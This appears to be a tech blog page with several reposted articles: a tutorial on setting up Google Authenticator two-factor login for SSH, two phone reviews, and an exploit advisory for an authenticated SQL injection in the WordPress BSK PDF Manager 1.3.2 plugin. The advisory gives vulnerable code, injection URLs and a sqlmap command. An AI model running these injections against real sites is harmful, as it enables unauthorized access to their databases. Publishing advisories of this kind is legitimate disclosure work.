Nexus

#Howto set up two-factor authentication for #SSH login on #Linux

Read

With many high-profile password leaks nowadays, there is a lot of buzz in the industry on "multi-factor" authentication. In a multi-factor authentication system, users are required to go through two distinct authentication procedures: providing something they know (e.g., username/password), and leveraging something they have "physical" access to (e.g., one-time passcode generated by their mobile phone). This scheme is also commonly known as two-factor authentication or two-step verification.

To encourage the wide adoption of two-factor authentication, Google released Google Authenticator, an open-source application that can generate one-time passcode based on open standards (e.g., HMAP/time-based). It is available on multiple platforms including Linux, Android, iOS. Google also offers a pluggable authentication module (PAM) for Google Authenticator, allowing it to be integrated with other PAM-enabled applications such as OpenSSH.

In this tutorial, I will describe how to set up two-factor authentication for an SSH server by integrating Google Authenticator with OpenSSH. I am going to use a Android device to generate one-time passcode. In this tutorial, you will need two things: (1) a Linux host where OpenSSH server is running, and (2) an Android device.

Install Google Authenticator on Linux

The first step is to install Google Authenticator on the Linux host where OpenSSH server is running. Follow this guide to install Google Authenticator and its PAM module on your system.

Once Google Authenticator is ready, you need to go through one-time configuration which involves creating an authentication key from this Linux host, and registering it with an Android device. This will be explained next.

Generate an Authentication Key

To start, simply run Google Authenticator on the Linux server host.

$ google-authenticator

You will see a QR code, as well as a secret key underneath it. The displayed QR code simply represents the numeric secret key. You will need either information to finalize configuration with an Android device.

Google Authenticator will ask you several questions. If you are not sure, you an answer "Yes" to all questions. The emergency scratch codes can be used to regain access to the SSH server in case you lose your Android device, and so cannot generate one-time passcode. So it's better to write them down somewhere.

Run Google Authenticator on Android

As we are going to use an Android device for two-factor authentication, you will need to install Google Authenticator app on Android. Go to Google Play to install it on Android.

When you start Google Authenticator on Android, you will see the following configuration menu.

You can choose either "Scan a barcode" or "Enter provided key" option. The first option allows you to enter the security key, simply by scanning the generated QR code. In this case, you will need to install Barcode Scanner app first. If you choose the second option, you can type the security key using Android keyboard as follows.

Once you register a secret key either way, you will see the following screen on Android.

Enable Google Authenticator on SSH Server

The final step is to integrate Google Authenticator with OpenSSH server. For that, you need to edit two files.

First, edit a PAM configuration file, and append the line below.

$ sudo vi /etc/pam.d/sshd

1	`auth required pam_google_authenticator.so`

Then open an SSH server config file, search for ChallengeResponseAuthentication, and enable it.

$ sudo vi /etc/ssh/sshd_config

1	`ChallengeResponseAuthentication` `yes`

Finally, restart SSH server.

On Ubuntu, Debian or Linux Mint:

$ sudo service ssh restart

On Fedora:

$ sudo systemctl restart sshd

On CentOS or RHEL:

$ sudo service sshd restart

Test Two-factor Authentication

Here is how you use two-factor authentication for SSH logins.

Run Google Authenticator app on Android to obtain one-time verification code. Once generated, a given passcode is valid for 30 seconds. Once it expires, Google Authenticator will automatically generate a new one.

Now log in to the SSH server as you normally do.

$ ssh user@ssh_server

When you are asked to enter "Verification code", type in the verification code generated by Android. After successful verification, then you can type in your SSH login password.

To conclude, two-factor authentication can be an effective means to secure password authentication by adding an extra layer of protection. You can use Google Authenticator to secure other logins such as Google account, WordPress.com, Dropbox.com, Outlook.com, etc. Whether you decide to use it or not, it's up to you, but there is a clear industry trend towards the adoption of two-factor authentication.

source

Read More Add comment

#WordPress BSK #PDF Manager 1.3.2 #SQLInjection

By 0x000216

Read

0 Comments

######################

# Exploit Title : Wordpress BSK PDF Manager 1.3.2 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.bannersky.com/bsk-pdf-manager/

# Software Link : http://downloads.wordpress.org/plugin/bsk-pdf-manager.zip

# Date : 2014-07-04

# Tested on : Windows 7 / Mozilla Firefox
#     Linux / Mozilla Firefox
#             Linux / sqlmap 1.0-dev-5b2ded0

######################

# Location :  
http://localhost/wp-content/plugins/compfight/compfight-search.php

######################

# Vulnerable code :

[claudio@localhost ~]$ grep -R GET bsk-pdf-manager/
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $categories_curr_view = trim($_GET['view']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['categoryid']) && $_GET['categoryid']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $category_id = trim($_GET['categoryid']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $lists_curr_view = trim($_GET['view']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['pdfid']) && $_GET['pdfid']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $pdf_id = trim($_GET['pdfid']);


$category_id = trim($_GET['categoryid']);
$pdf_id = trim($_GET['pdfid']);

######################

Exploit Code via Browser:

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2

Exploit Code via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://10.0.0.67/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1" -p categoryid

#####################

Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it

#####################

source

Read More Add comment

Xiaomi Mi3 Mobile Top 5 Pros and Cons

By 0x000216

Read

0 Comments

The Xiaomi MI-3 has been officially launched in the Indian market and judging by the spec sheet, it is quite an impressive device. Not only it offers excellent hardware at an attractive price tag but has also got a highly customisable operating system. It has got an attractive design and an impressive built quality. The smartphone will be available via the online retailer in the Indian market. The device is available in 16 and 64 GB storage variants but the 64 GB variant is sold only in the Chinese market. Despite being an impressive device, there are minor drawbacks that might be the deal breaker for some. We take a closer look at the device and see what it has to offer.

>>Pros

Design

The manufacturer has made some impressive android devices in the past and it is the same story with the MI-3. It has been designed very well and has got top notch quality. You rarely find Chinese devices that are built so well that they can beat many popular smartphones in this regard. The attention to detail is impressive here and the weight is well controlled. You can see seamless blending on different materials on this device and it is a job executed better than some of the flagship devices from other manufacturers.

Display

The device has got a 5 inch full HD display. This display is an IPS panel so you get excellent colour replication with quite impressive contrast ratios as well. You get a pixel density of almost 440 pixels per inch. Viewing angles are very wide and you won’t really have problem in this regard. The display is covered in gorilla glass 3 so it will be safe from minor scratches that you might get from other stuff in your pocket. The display is one of the strong points of this device.

Hardware

The device has got a potent hardware considering the price point at which it has entered the market. It runs a Qualcomm Snapdragon 800 chipset with the quad core Krait processor running at a maximum clock speed of 2.3 GHz. You get the familiar Adreno 330 GPU which is an ace at handling graphics. It is coupled with 2 GB of RAM which is plenty for the device. You get almost all the connectivity options you would need though they have missed out on support for 4G.

It gets a 13 megapixel primary camera which is a decent performer. It gives you nice shots in day light and might also give you occasional impressive shots in low light. The hardware is powered by a 3050 mAh battery which is significantly bigger than the 2300 mAh on Nexus 5 which has got similar hardware.

Software

We are not a fan of custom android operating systems that manufacturers put on their smartphones but the software here is an exception. It is based on the popular MIUI ROM so you have an idea what sort of ROM are we talking about here. It offers an experience close to stock android in terms of usability while addition various design elements to it. You also get a large number of customisation options so that tailor it to suit your needs. The UI looks nice and is a very well executed job of skinning the stock android.

Price

The device is available at a price of 14,999 and with that price tag; it offers features better than the Google Nexus 5. At this price point, you will be able to find many quad core devices with full HD display but most of them would compromise on something or the other. Most of the times, they are in terms of built quality or cheaper chipsets. Here they haven’t made these compromises.

>> Cons

No 64 GB

The device is also available in a 64 GB variant in the Chinese market but for some reason they have decided not to sell that variant in any other market. Here you can only buy the 16 GB variant and that might not suffice many people. Moreover people would use the excellent display for multimedia but the limited storage would reduce the possibilities.

No memory card slot

It would have been okay that they haven’t introduced the 64 GB variant if the device came with a micro SD slot. It hasn’t got a memory card slot and this would really keep many buyers away from this device.

Non removable battery

The device comes with non removable battery. Now that is okay on the nexus 5 as it is a product of LG and you can easily find a store that would sell you its battery and install it inside the device for you but it would be tough to find a replacement for Xiaomi and even tougher to do so in case of a non removable battery.

Brand value

Xiaomi is a relatively new brand in India and it would take a while before the people here start receiving it well. So for now, if you are looking at brand value, you might want to stay away from this manufacturer. The low prices would surely help the sales of this device but still you can spend some more and go for the mainstream brands if the brand plays a bigger role for you.

No 4G

Xiaomi Mi3 doesn’t support 4G networks. While this might not make a difference for most people, there are already markets where 4G networks are up and running. Such people would have to limit themselves to 3G speeds on this device. In India, there are very few regions where operators have set up their 4G networks so it isn’t a really big deal at the moment. You can easily ignore the lack of 4G support for now and you won’t even notice. But operators are working to start 4G services in many more regions in the near future. As people migrate to 4G networks in future, you will be left behind stuck on 3G.

Share this article Link with your friends

Xiaomi Mi3: Top 5 Pros and Cons http://www.igadgetware.com/2014/07/xiaomi-mi3-mobile-top-5-pros-and-cons.html #iGadgetware

Follow iGadgetware on Facebook , Twitter, Google+

Read More Add comment

The Samsung Galaxy S Duos S7562 – Gateway To The Android Experience

By 0x000216

Read

0 Comments

The Samsung Galaxy S Duos S7562 has been around for some time now. It is a phone that was launched in the face of great expectations as it sought to provide the low end market with the raw Android experience and the record breaking performance and features of the Galaxy family.

The Galaxy S Duos is a smartphone that is designed and marketed by Samsung Electronics. It is a dual SIM smartphone whose major differences with other entry level offerings from Samsung is that it belongs to the prestigious ‘S’ family and has both SIMs on active. This means that you can receive a call on any of the 2 SIM provided that there is no call already in progress. With some modification of divert settings and a compatible carrier, you can receive 2 calls at the same time. The only shortcoming with the Dual SIM setup is that only one can be active on UMTS. This means that you can only use one SIM for DATA services and certain network combinations cannot work together.

What Are The Other Features ?
The dimensions of the Samsung galaxy s duos are 121.5 x 63.1 x 10.5 mm (4.78 x 2048 x 0.41 inches). Both the SIMs are 2G and 3G Network compliant. Its weight stands at 120g or 4.23 oz.

Other features stand at:
• The display type is a TFT capacitive touchscreen featuring 16M colors. Its size is 4.0 inches, 480 x 800 pixels with about 233 ppi pixel density and yes, it has multitouch capacity.
• The processor is a Single Core, Qualcomm MSM7227A Snapdragon clocked at 1GHz.
• It is also equipped with sensors which arethe proximity, the proximity sensor and the accelerometer.
• Internal Memory is 4GB with 1.8 of that being available to the user. The RAM is 768MB and the phone supports microSD cards up to 32GB.
• The camera has 5 MP, 2592 x 1944 pixels and has autofocus, LED flash and Geo-tagging.
• The battery is a Li-ion 1500 mAh which gives you a talktime of up to 13 hours on 2G and 7 hours 25 min on 3G. The stand-by is up to 445 hours on 2G and 330 on 3G.
• The audio formats that are supported include AAC, AAC+, AMR, AMR-WB, AMR-NB, eAAC+, i-Melody, MIDI, IMY, WAV, WMA, OGG, SP-midi and M4A.
• Video formats that are supported include MPEG4, H-263 and H-264. The resolution is VGA, QCIF and QVGA and the frame rate is 30fps.
• In terms of connectivity, the smartphone supports Bluetooth version BT 3.0, WI-FI direct, WI-FI 802.11 b/g/n 2.4 GHz, HSDPA 7.2, GSM and EDGE/GPRS (850/900/1, 1,800/1, 900MHz) network.
• The OS is Android 4.0 which is upgradable to Android 4.3 Jelly Bean.
The 1GHz CPU is enough to enable the Galaxy S Duos to handle complex operations with grace and speed. You can multitask and switch from app to app effortlessly without any lag time.

The phone is also loaded with Samsung’s ChatON service with puts you right at the center of social activity. You can not only engaging in messaging but also exchange multimedia content, do group chats with friends and family and enjoy the personalized messages function. This is a phone number based service.
This phone is available from the various phone dealers who can be located online and even at the shopping center near you. It is designed to give you the real Android experience at a rock-bottom price. There is absolutely no excuse to go for the third grade technology that is offered by some unknown brands. For the same price you can get a piece of genuine technology from Samsung Electronics.

About The Author:
This article has written by Akansha Mishra, she is an internet marketer..

Share this article Link with your friends

The Samsung Galaxy S Duos S7562 – Gateway to the Android Experience.. http://www.igadgetware.com/2014/07/the-samsung-galaxy-s-duos-s7562-gateway.html #iGadgetware

Follow iGadgetware on Facebook , Twitter, Google+

Read More Add comment